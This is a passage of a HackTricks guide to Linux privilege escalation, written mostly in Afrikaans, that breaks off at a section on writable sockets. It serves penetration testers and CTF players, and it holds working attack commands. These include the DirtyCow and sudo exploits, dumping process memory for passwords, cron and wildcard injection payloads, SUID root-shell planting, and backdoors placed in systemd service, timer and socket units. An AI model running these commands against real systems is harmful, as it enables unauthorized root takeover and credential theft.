Linux Privilege Escalation

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

• Kyk na die subskripsie planne!
• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

Stelselinligting

OS inligting

Kom ons begin om inligting oor die OS wat aan die gang is te versamel

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Path

As jy skryfregte op enige gids binne die PATH-veranderlike het, kan jy dalk sekere libraries of binaries kaap:

echo $PATH

Omgewingsinligting

Interessante inligting, wagwoorde of API keys in die omgewingsveranderlikes?

(env || set) 2>/dev/null

Kernel exploits

Kontroleer die kernel-weergawe en of daar ’n exploit is wat gebruik kan word om te escalate privileges

cat /proc/version
uname -a
searchsploit "Linux Kernel"

Jy kan ’n goeie lys van kwesbare kernels en sommige reeds compiled exploits hier vind: https://github.com/lucyoa/kernel-exploits en exploitdb sploits.
Ander webwerwe waar jy ’n paar compiled exploits kan vind: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

Om al die kwesbare kernel-weergawes van daardie web te onttrek kan jy die volgende doen:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Gereedskap wat kan help om kernel exploits te soek, is:

linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (voer uit IN victim, kontroleer slegs exploits vir kernel 2.x)

Soek altyd die kernel-weergawe in Google, dalk is jou kernel-weergawe in ’n kernel exploit geskryf en dan sal jy seker wees dat die exploit geldig is.

Bykomende kernel exploitation tegnieke:

Adreno A7xx Sds Rb Priv Bypass Gpu Smmu Kernel Rw Arm64 Static Linear Map Kaslr Bypass

CVE-2016-5195 (DirtyCow)

Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Sudo weergawe

Gebaseer op die kwesbare sudo-weergawes wat verskyn in:

searchsploit sudo

Jy kan nagaan of die sudo-weergawe kwesbaar is deur hierdie grep te gebruik.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

Sudo < 1.9.17p1

Sudo-weergawe voor 1.9.17p1 (1.9.14 - 1.9.17 < 1.9.17p1) stel onbevoegde plaaslike gebruikers in staat om hul voorregte na root te eskaleer via die sudo --chroot opsie wanneer die /etc/nsswitch.conf lêer vanaf ’n deur die gebruiker beheer­de gids gebruik word.

Hier is ’n PoC om daardie vulnerability te exploit. Voordat jy die exploit uitvoer, maak seker dat jou sudo-weergawe kwesbaar is en dat dit die chroot funksie ondersteun.

Vir meer inligting, verwys na die oorspronklike vulnerability advisory

Sudo host-based rules bypass (CVE-2025-32462)

Sudo before 1.9.17p1 (reported affected range: 1.8.8–1.9.17) kan host-based sudoers rules evalueer deur die user-supplied hostname van sudo -h <host> te gebruik in plaas van die real hostname. As sudoers wyer voorregte op ’n ander host toeken, kan jy daardie host lokaal spoof.

Vereistes:

• Kwetsbare sudo-weergawe
• Host-spesifieke sudoers-reëls (host is nie die huidige hostname nie en ook nie ALL nie)

Example sudoers pattern:

Host_Alias     SERVERS = devbox, prodbox
Host_Alias     PROD    = prodbox
alice          SERVERS, !PROD = NOPASSWD:ALL

Exploit deur die toegelate host te spoofing:

sudo -h devbox id
sudo -h devbox -i

Indien die naamoplossing vir die gespoofte naam geblokkeer word, voeg dit by /etc/hosts of gebruik ’n hostname wat reeds in logs/configs voorkom om DNS-opsoeke te vermy.

sudo < v1.8.28

Vanaf @sickrov

sudo -u#-1 /bin/bash

Dmesg signature verification failed

Kyk na smasher2 box of HTB vir ’n voorbeeld van hoe hierdie vuln kan uitgebuit word

dmesg 2>/dev/null | grep "signature"

Meer system enumeration

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Som moontlike verdedigingsmaatreëls op

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Container Breakout

As jy binne ’n container is, begin by die volgende container-security afdeling en skuif dan na die runtime-spesifieke misbruik-bladsye:

Container Security

Skywe

Kontroleer wat gemonteer en afgekoppel is, waar en waarom. As iets afgekoppel is, kan jy probeer om dit te monteer en te kyk vir privaat inligting

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Nuttige sagteware

Lys nuttige binaries

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Kontroleer ook of enige compiler geïnstalleer is. Dit is nuttig as jy ’n kernel exploit moet gebruik, aangesien dit aanbeveel word om dit op die masjien te compileer waarin jy dit gaan gebruik (of op een soortgelyke).

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Geïnstalleerde kwesbare sagteware

Kontroleer die weergawe van die geïnstalleerde pakkette en dienste. Miskien is daar ’n ou Nagios-weergawe (byvoorbeeld) wat exploited kan word vir escalating privileges…
Dit word aanbeveel om die weergawe van die meer verdagte geïnstalleerde sagteware handmatig na te gaan.

dpkg -l #Debian
rpm -qa #Centos

As jy SSH-toegang tot die masjien het, kan jy ook openVAS gebruik om te kyk na verouderde en kwesbare sagteware wat op die masjien geïnstalleer is.

[!NOTE] > Let daarop dat hierdie opdragte baie inligting sal vertoon wat meestal nutteloos sal wees; daarom word dit aanbeveel om toepassings soos OpenVAS of soortgelyke te gebruik wat sal nagaan of enige geïnstalleerde sagtewareweergawe vatbaar is vir bekende exploits

Prosesse

Kyk na watter prosesse uitgevoer word en kontroleer of enige proses meer voorregte as wat dit behoort te hê het (miskien ’n tomcat wat deur root uitgevoer word?)

ps aux
ps -ef
top -n 1

Kyk altyd vir moontlike electron/cef/chromium debuggers running, you could abuse it to escalate privileges. Linpeas identifiseer dit deur na die --inspect parameter in die opdragreël van die proses te kyk.
Kontroleer ook jou privileges oor die proses se binaries, dalk kan jy iemand se binaries oorskryf.

Cross-user parent-child chains

’n kinderproses wat onder ’n ander gebruiker as sy ouer loop, is nie outomaties kwaadwillig nie, maar dit is ’n nuttige triage sein. Sommige oorgange word verwag (root spawning a service user, login managers creating session processes), maar ongewone kettings kan wrappers, debug-hulpmiddels, persistensie, of swak runtime-vertrouensgrense openbaar.

ps -eo pid,ppid,user,comm,args --sort=ppid
pstree -alp

As jy ’n verrassende ketting vind, ondersoek die ouer se opdragreël en al die lêers wat sy gedrag beïnvloed (config, EnvironmentFile, helper scripts, working directory, writable arguments). In verskeie werklike privesc-paaie was die kind self nie skryfbaar nie, maar die ouerbeheerde config of helperketting wel.

Verwyderde uitvoerbare lêers en lêers wat ná verwydering nog oop is

Runtime-artefakte is dikwels steeds toeganklik ná verwydering. Dit is nuttig vir beide privilege escalation en vir die herstel van bewyse uit ’n proses wat reeds sensitiewe lêers oop het.

Kontroleer vir verwyderde uitvoerbare lêers:

pid=<PID>
ls -l /proc/$pid/exe
readlink /proc/$pid/exe
tr '\0' ' ' </proc/$pid/cmdline; echo

As /proc/<PID>/exe na (deleted) wys, hardloop die proses steeds die ou binêre beeld vanuit geheue. Dit is ’n sterk sein om te ondersoek omdat:

• die verwyderde uitvoerbare lêer kan interessante strings of credentials bevat
• die lopende proses kan steeds nuttige file descriptors blootstel
• ’n verwyderde geprivilegieerde binêre kan op onlangse manipulasie of ’n poging tot skoonmaak dui

Versamel verwyderde-ope lêers wêreldwyd:

lsof +L1

As jy ’n interessante descriptor vind, herstel dit direk:

ls -l /proc/<PID>/fd
cat /proc/<PID>/fd/<FD>

Dit is veral waardevol wanneer ’n proses nog ’n verwyderde geheim, script, database-uitvoer, of flag file oop het.

Prosesmonitering

Jy kan gereedskap soos pspy gebruik om prosesse te monitor. Dit kan baie nuttig wees om kwesbare prosesse te identifiseer wat gereeld uitgevoer word of wanneer ’n stel vereistes vervul is.

Prosesgeheue

Sommige dienste op ’n server stoor inlogbewyse in platte teks in die geheue.
Gewoonlik sal jy root privileges nodig hê om die geheue van prosesse wat aan ander gebruikers behoort te lees, daarom is dit gewoonlik meer nuttig wanneer jy reeds root is en meer inlogbewyse wil ontdek.
Onthou egter dat as ’n gewone gebruiker jy die geheue van die prosesse wat aan jou behoort kan lees.

Warning

Let wel dat deesdae die meeste masjiene ptrace nie standaard toelaat nie, wat beteken dat jy nie ander prosesse wat aan jou nie-geprivilegieerde gebruiker behoort kan dump nie.

Die lêer /proc/sys/kernel/yama/ptrace_scope beheer die toeganklikheid van ptrace:

• kernel.yama.ptrace_scope = 0: alle prosesse kan gedebug word, so lank hulle dieselfde uid het. Dit is die klassieke wyse waarop ptracing gewerk het.
• kernel.yama.ptrace_scope = 1: slegs ’n ouerproses kan gedebug word.
• kernel.yama.ptrace_scope = 2: Slegs admin kan ptrace gebruik, aangesien dit die CAP_SYS_PTRACE vereis.
• kernel.yama.ptrace_scope = 3: Geen prosesse mag met ptrace getraceer word nie. Sodra dit gestel is, is ’n herbegin nodig om ptracing weer te aktiveer.

GDB

As jy toegang tot die geheue van ’n FTP-diens het (byvoorbeeld) kan jy die Heap kry en daarin na sy inlogbewyse soek.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

GDB Skrip

#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

Vir ’n gegewe process ID, maps wys hoe geheue binne daardie proses se virtuele adresruimte gemap is; dit wys ook die toestemmings van elke gemapte streek. Die mem pseudo-lêer blootstel die proses se geheue self. Uit die maps lêer weet ons watter geheuegebiede leesbaar is en hul offsets. Ons gebruik hierdie inligting om te seek in die mem-lêer en alle leesbare gebiede te dump na ’n lêer.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem gee toegang tot die stelsel se fisiese geheue, nie die virtuele geheue nie. Die kernel se virtuele adresruimte kan met /dev/kmem bereik word.
Tipies is /dev/mem slegs leesbaar deur root en die kmem-groep.

strings /dev/mem -n10 | grep -i PASS

ProcDump vir linux

ProcDump is ’n herinterpretasie vir Linux van die klassieke ProcDump-instrument uit die Sysinternals-suite vir Windows. Kry dit by https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Gereedskap

Om ’n proses se geheue te dump kan jy gebruik:

• https://github.com/Sysinternals/ProcDump-for-Linux
• https://github.com/hajzer/bash-memory-dump (root) - _Jy kan handmatig die root-vereistes verwyder en die proses wat aan jou behoort dump
• Script A.5 van https://www.delaat.net/rp/2016-2017/p97/report.pdf (root word vereis)

Inlogbewyse uit prosesgeheue

Handmatige voorbeeld

As jy vind dat die authenticator-proses aan die gang is:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

Jy kan dump the process (sien die vorige afdelings om verskillende maniere te vind om die memory van ’n process te dump) en soek na credentials binne die memory:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

Die tool https://github.com/huntergregal/mimipenguin sal aanmeldingsinligting in platte teks uit geheue steel en uit sommige welbekende lêers. Dit vereis root privileges om behoorlik te werk.

Soek Regexes/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Geskeduleerde/Cron jobs

Crontab UI (alseambusher) wat as root uitgevoer word – webgebaseerde skeduleerder privesc

As ’n web “Crontab UI” paneel (alseambusher/crontab-ui) as root loop en slegs aan loopback gebind is, kan jy dit steeds via SSH local port-forwarding bereik en ’n bevoorregte taak skep om eskalasie te bewerkstellig.

Tipiese ketting

• Ontdek ’n slegs-loopback-poort (bv., 127.0.0.1:8000) en Basic-Auth realm via ss -ntlp / curl -v localhost:8000
• Vind credentials in operasionele artefakte:
  • Backups/skripte met zip -P <password>
  • systemd unit wat Environment="BASIC_AUTH_USER=...", Environment="BASIC_AUTH_PWD=..." blootstel
• Tunnel en login:

ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate

• Skep ’n hoë-priv job en voer dit onmiddellik uit (drops SUID shell):

# Name: escalate
# Command:
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell

• Gebruik dit:

/tmp/rootshell -p   # root shell

Verharding

• Moet Crontab UI nie as root laat loop nie; beperk dit tot ’n toegewyde gebruiker met minimale regte
• Koppel aan localhost en beperk toegang verder via firewall/VPN; moenie wagwoorde hergebruik nie
• Vermy om geheime in unit-lêers in te sluit; gebruik secret stores of root-only EnvironmentFile
• Skakel audit/logging aan vir on-demand taakuitvoerings

Kontroleer of enige geskeduleerde taak kwesbaar is. Miskien kan jy voordeel trek uit ’n script wat deur root uitgevoer word (wildcard vuln? kan jy lêers wat root gebruik wysig? gebruik symlinks? skep spesifieke lêers in die gids wat root gebruik?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

As run-parts gebruik word, kontroleer watter name werklik uitgevoer sal word:

run-parts --test /etc/cron.hourly
run-parts --test /etc/cron.daily

Dit voorkom valse positiewe. ’n Skryfbare periodieke gids is slegs nuttig as jou payload-lêernaam ooreenstem met die plaaslike run-parts-reëls.

Cron path

Byvoorbeeld, binne /etc/crontab kan jy die PATH vind: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Let op hoe die gebruiker “user” skryfprivileges oor /home/user het)

As binne hierdie crontab die root gebruiker probeer om ’n opdrag of skrip uit te voer sonder om die PATH te stel. Byvoorbeeld: * * * * root overwrite.sh
Dan kan jy ’n root shell kry deur te gebruik:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron wat ’n script met ’n wildcard gebruik (Wildcard Injection)

As ’n script wat deur root uitgevoer word ’n “*” in ’n opdrag het, kan jy dit misbruik om onvoorsiene dinge te veroorsaak (soos privesc). Voorbeeld:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

As die wildcard voorafgegaan word deur ’n pad soos /some/path/* , is dit nie kwetsbaar nie (selfs ./* nie).

Lees die volgende bladsy vir meer wildcard exploitation tricks:

Wildcards Spare tricks

Bash arithmetic expansion injection in cron log parsers

Bash voer parameter expansion en command substitution uit voordat arithmetic evaluation in ((…)), $((…)) en let plaasvind. As ’n root cron/parser onbeheerde logvelde lees en dit in ’n arithmetic context invoer, kan ’n aanvaller ’n command substitution $(…) inmaak wat as root uitgevoer word wanneer die cron loop.

• Waarom dit werk: In Bash gebeur expansions in hierdie volgorde: parameter/variable expansion, command substitution, arithmetic expansion, dan word splitting en pathname expansion. Dus word ’n waarde soos $(/bin/bash -c 'id > /tmp/pwn')0 eers gesubstitueer (die command loop), en die oorblywende numeriese 0 word vir die arithmetic gebruik sodat die script sonder foute voortgaan.

• Tipiese kwesbare patroon:

#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
while IFS=',' read -r ts user count rest; do
# count is untrusted if the log is attacker-controlled
(( total += count ))     # or: let "n=$count"
done < /var/www/app/log/application.log

• Uitbuiting: Kry aanvaller-beheerde teks in die geparsde log geskryf sodat die numeries-lykende veld ’n command substitution bevat en eindig met ’n syfer. Verseker dat jou command niks na stdout skryf nie (of herlei dit) sodat die arithmetic geldig bly.

# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.

Cron script overwriting and symlink

As jy kan wysig ’n cron script wat deur root uitgevoer word, kan jy baie maklik ’n shell kry:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

As die script wat deur root uitgevoer word ’n directory waar jy volle toegang het gebruik, kan dit dalk nuttig wees om daardie folder te verwyder en ’n symlink folder na ’n ander een te skep wat ’n script bedien wat deur jou beheer word.

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Symlink-validasie en veiliger hantering van lêers

Wanneer jy bevoorregte scripts/binaries wat lêers via ’n pad lees of skryf hersien, verifieer hoe skakels hanteer word:

• stat() volg ’n symlink en gee metadata van die teiken terug.
• lstat() gee metadata van die skakel self terug.
• readlink -f en namei -l help om die finale teiken op te los en wys die permissies van elke padkomponent.

readlink -f /path/to/link
namei -l /path/to/link

Vir defenders/developers, veiliger patrone teen symlink-truuks sluit in:

• O_EXCL with O_CREAT: faal as die pad reeds bestaan (blokkeer attacker se vooraf-geskepte skakels/bestande).
• openat(): werk relatief tot ’n vertroude gids se file descriptor.
• mkstemp(): skep tydelike lêers atomies met veilige regte.

Aangepas-ondertekende cron binaries met skryfbare payloads

Blue teams teken soms cron-aangedrewe binaries “sign” deur ’n pasgemaakte ELF-seksie te dump en vir ’n vendor string te grep voordat hulle dit as root uitvoer. As daardie binary group-writable is (bv., /opt/AV/periodic-checks/monitor besit deur root:devs 770) en jy kan die signing material leak, kan jy die seksie forge en die cron-taak kap:

1. Gebruik pspy om die verifikasie-flow vas te vang. In Era het root objcopy --dump-section .text_sig=text_sig_section.bin monitor gevolg deur grep -oP '(?<=UTF8STRING :)Era Inc.' text_sig_section.bin en toe die lêer uitgevoer.
2. Herbou die verwagte sertifikaat met die leaked key/config (van signing.zip):

openssl req -x509 -new -nodes -key key.pem -config x509.genkey -days 365 -out cert.pem

3. Bou ’n kwaadwillige vervanging (bv. drop ’n SUID bash, voeg jou SSH key by) en inkorporeer die sertifikaat in .text_sig sodat die grep slaag:

gcc -fPIC -pie monitor.c -o monitor
objcopy --add-section .text_sig=cert.pem monitor
objcopy --dump-section .text_sig=text_sig_section.bin monitor
strings text_sig_section.bin | grep 'Era Inc.'

4. Oorskryf die geskeduleerde binary terwyl jy die uitvoerbits behou:

cp monitor /opt/AV/periodic-checks/monitor
chmod 770 /opt/AV/periodic-checks/monitor

5. Wag vir die volgende cron-run; sodra die naïewe handtekeningkontrole slaag, word jou payload as root uitgevoer.

Gereelde cron jobs

Jy kan prosesse monitor om te soek na prosesse wat elke 1, 2 of 5 minute uitgevoer word. Misschien kan jy dit uitbuit en jou privileges eskaleer.

Byvoorbeeld, om moniteer elke 0.1s vir 1 minuut, sorteer op min uitgevoerde opdragte en verwyder die opdragte wat die meeste uitgevoer is, kan jy:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

Jy kan ook gebruik pspy (dit sal elke proses wat begin, monitor en lys).

Root-rugsteune wat aanvaller-gestelde modus-bits bewaar (pg_basebackup)

As ’n cron wat aan root behoort pg_basebackup (of enige rekursiewe kopie) teen ’n databasisgids wat jy kan skryf uitvoer, kan jy ’n SUID/SGID binary plant wat as root:root met dieselfde modus-bits in die rugsteunuitset hergekopieer sal word.

Tipiese ontdekkingvloei (as a low-priv DB user):

• Gebruik pspy om ’n root cron te vind wat iets soos /usr/lib/postgresql/14/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/ elke minuut aanroep.
• Bevestig dat die broncluster (bv. /var/lib/postgresql/14/main) deur jou geskryf kan word en dat die bestemming (/opt/backups/current) ná die taak aan root behoort.

Exploit:

# As the DB service user owning the cluster directory
cd /var/lib/postgresql/14/main
cp /bin/bash .
chmod 6777 bash

# Wait for the next root backup run (pg_basebackup preserves permissions)
ls -l /opt/backups/current/bash  # expect -rwsrwsrwx 1 root root ... bash
/opt/backups/current/bash -p    # root shell without dropping privileges

Dit werk omdat pg_basebackup die lêermodus-bits bewaar wanneer dit die cluster kopieer; wanneer dit deur root aangeroep word, erf die bestemmingslêers root-eienaarskap + deur die aanvaller gekose SUID/SGID. Enige soortgelyke geprivilegieerde backup/copy-roetine wat permissies behou en na ’n uitvoerbare ligging skryf, is kwesbaar.

Onsigbare cron jobs

Dit is moontlik om ’n cronjob te skep deur ’n carriage return ná ’n kommentaar te plaas (sonder newline-karakter), en die cron job sal werk. Voorbeeld (let op die carriage return char):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Om hierdie soort sluiptoegang op te spoor, inspekteer cron-lêers met gereedskap wat controletekens openbaar:

cat -A /etc/crontab
cat -A /etc/cron.d/*
sed -n 'l' /etc/crontab /etc/cron.d/* 2>/dev/null
xxd /etc/crontab | head

Dienste

Skryfbare .service lêers

Kyk of jy enige .service lêer kan skryf; as jy dit kan, kan jy dit wysig sodat dit jou backdoor uitvoer wanneer die diens gestart, herbegin of gestop word (miskien sal jy moet wag totdat die masjien herbegin word).
Byvoorbeeld, skep jou backdoor in die .service lêer met ExecStart=/tmp/script.sh

Skryfbare diens-binêre

Hou in gedagte dat as jy skryf toestemmings oor binêre wat deur dienste uitgevoer word het, jy hulle kan verander vir backdoors sodat wanneer die dienste weer uitgevoer word die backdoors ook uitgevoer sal word.

systemd PATH - Relatiewe Paaie

Jy kan die PATH wat deur systemd gebruik word sien met:

systemctl show-environment

As jy vind dat jy in enige van die vouers van die pad kan write, kan jy dalk escalate privileges. Jy moet soek na relative paths being used on service configurations lêers soos:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Then, create an executable with the same name as the relative path binary inside the systemd PATH folder you can write, and when the service is asked to execute the vulnerable action (Start, Stop, Reload), your backdoor will be executed (onbevoegde gebruikers kan gewoonlik nie start/stop dienste uitvoer nie, maar kyk of jy sudo -l kan gebruik).

Lees meer oor dienste met man systemd.service.

Timers

Timers is systemd unit-lêers waarvan die naam op **.timer** eindig en wat **.service**-lêers of gebeurtenisse beheer. Timers kan as ’n alternatief vir cron gebruik word, aangesien hulle ingeboude ondersteuning het vir kalender-tydgebeurtenisse en monotoniese tydgebeurtenisse, en asynchroon uitgevoer kan word.

Jy kan al die timers opnoem met:

systemctl list-timers --all

Skryfbare timers

As jy ’n timer kan wysig, kan jy dit laat ’n bestaande systemd.unit uitvoer (soos ’n .service of ’n .target)

Unit=backdoor.service

In die dokumentasie kan jy lees wat die Unit is:

Die unit wat geaktiveer word wanneer hierdie timer verstryk. Die argument is ’n unit-naam, waarvan die agtervoegsel nie “.timer” is nie. As dit nie gespesifiseer is nie, gebruik hierdie waarde standaard ’n service wat dieselfde naam as die timer-unit het, behalwe vir die agtervoegsel. (Sien hierbo.) Dit word aanbeveel dat die unit-naam wat geaktiveer word en die unit-naam van die timer-unit identies genoem word, behalwe vir die agtervoegsel.

Daarom, om hierdie toestemming te misbruik, sal jy die volgende moet doen:

• Vind ’n systemd unit (soos ’n .service) wat ’n skryfbare binary uitvoer
• Vind ’n systemd unit wat ’n relatiewe pad uitvoer en jy het skryfbevoegdhede oor die systemd PATH (om daardie executable na te maak)

Leer meer oor timers met man systemd.timer.

Timer inskakeling

Om ’n timer te aktiveer benodig jy root-bevoegdhede en moet jy die volgende uitvoer:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

Note the timer is activated by creating a symlink to it on /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

Sockets

Unix Domain Sockets (UDS) enable proseskommunikasie on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through .socket files.

Sockets can be configured using .socket files.

Learn more about sockets with man systemd.socket. Inside this file, several interesting parameters can be configured:

• ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: Hierdie opsies verskil, maar kortliks word dit gebruik om aan te dui waarheen dit gaan luister na die socket (die pad van die AF_UNIX socket-lêer, die IPv4/6 en/of poortnommer om na te luister, ens.)
• Accept: Neem ’n boolean-argument. As true, word ’n service instance geskep vir elke inkomende verbinding en slegs die verbindings-socket word aan daardie instance deurgegee. As false, word al die luister-sockets self aan die gestarte service unit deurgegee, en slegs een service unit word geskep vir alle verbindings. Hierdie waarde word geïgnoreer vir datagram-sockets en FIFOs waar ’n enkele service unit onvoorwaardelik al die inkomende verkeer hanteer. Defaults to false. Vir prestasiedoeleindes word dit aanbeveel om nuwe daemons slegs te skryf op ’n manier wat geskik is vir Accept=no.
• ExecStartPre, ExecStartPost: Neem een of meer opdraglyne wat onderskeidelik uitgevoer word voor of na die luisterende sockets/FIFOs geskep en gebind word. Die eerste token van die opdraglyn moet ’n absolute lêernaam wees, gevolg deur argumente vir die proses.
• ExecStopPre, ExecStopPost: Bykomende opdragte wat onderskeidelik uitgevoer word voor of na die luisterende sockets/FIFOs toe en verwyder word.
• Service: Spesifiseer die service unit-naam om te aktiveer by inkomende verkeer. Hierdie instelling is slegs toegelaat vir sockets met Accept=no. Dit standaard na die service met dieselfde naam as die socket (met die agtervoegsel vervang). In die meeste gevalle behoort dit nie nodig te wees om hierdie opsie te gebruik nie.

Writable .socket files

If you find a writable .socket file you can add at the beginning of the [Socket] section something like: ExecStartPre=/home/kali/sys/backdoor and the backdoor will be executed before the socket is created. Therefore, you will probably need to wait until the machine is rebooted.
Note that the system must be using that socket file configuration or the backdoor won’t be executed

Socket activation + writable unit path (create missing service)

Another high-impact misconfiguration is:

• a socket unit with Accept=no and Service=<name>.service
• the referenced service unit is missing
• an attacker can write into /etc/systemd/system (or another unit search path)

In that case, the attacker can create <name>.service, then trigger traffic to the socket so systemd loads and executes the new service as root.

Quick flow:

systemctl cat vuln.socket
# [Socket]
# Accept=no
# Service=vuln.service

cat >/etc/systemd/system/vuln.service <<'EOF'
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'cp /bin/bash /var/tmp/rootbash && chmod 4755 /var/tmp/rootbash'
EOF
nc -q0 127.0.0.1 9999
/var/tmp/rootbash -p

Skryfbare sockets

